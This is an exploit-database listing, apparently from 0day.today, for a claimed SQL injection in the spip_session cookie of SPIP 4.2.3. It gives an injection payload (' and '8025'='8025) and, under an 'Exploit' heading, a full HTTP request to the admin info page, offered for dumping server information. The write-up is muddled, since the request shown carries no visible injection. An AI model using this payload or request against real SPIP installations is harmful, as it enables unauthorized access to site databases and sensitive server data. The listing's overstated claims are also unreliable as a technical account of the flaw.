Author

nu11secur1ty

Risk

[

Security Risk High

]

0day-ID

0day-ID-38826

Category

web applications

Date add

28-06-2023

Platform

php

## Title: spip-v4.2.3 SQLi-cookie session vulnerability - Server Side
Sensitive information Disclosure!
## Author: nu11secur1ty
## Vendor: https://www.spip.net/en_rubrique25.html
## Software: https://files.spip.net/spip/archives/spip-v4.2.3.zip
## Reference: https://portswigger.net/web-security/information-disclosure



## Description:
The spip_session cookie appears to be vulnerable to SQL injection
attacks. A single quote was submitted in the spip_session cookie, and
a database error message was returned. Two single quotes were then
submitted and the error message disappeared. You should review the
contents of the error message, and the application's handling of other
input, to confirm whether a vulnerability is present.
Additionally, the payload ' and '8025'='8025 were submitted in the
spip_session cookie, and a database error message was returned.
The attacker who has an account easily can dump almost all sensitive
information from the server. This is the wrong configuration of the
sessions of this app and a serious bug in the backend execution -
function modules of this app which bug is coming from the development
team of this web application! No one user account or even broadcast
admin account, must not be seeing inside information of the server,
except on the layer 2 level, which must be a LOCAL ADMINISTRATOR! from
the side of the developers of this web app.

STATUS: HIGH-CRITICAL Vulnerability

[+]Exploit:
```GET
GET /pwnedhost7/ecrire/?exec=info HTTP/1.1
Host: 192.168.100.45
Cookie: spip_admin=%40pwned%40pwned.com; spip_accepte_ajax=1;
spip_session=1_c9209323400f315bb516fdc7c5345eae
Cache-Control: max-age=0
Sec-Ch-Ua:
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: ""
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.134
Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
```

## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/SPIP/spip-v4.2.3)

## Proof and Exploit:
[href](https://www.nu11secur1ty.com/2023/06/spip-v423-sqli-cookie-session.html)

## Time spend:
03:15:00

#  0day.today [2024-07-05]  #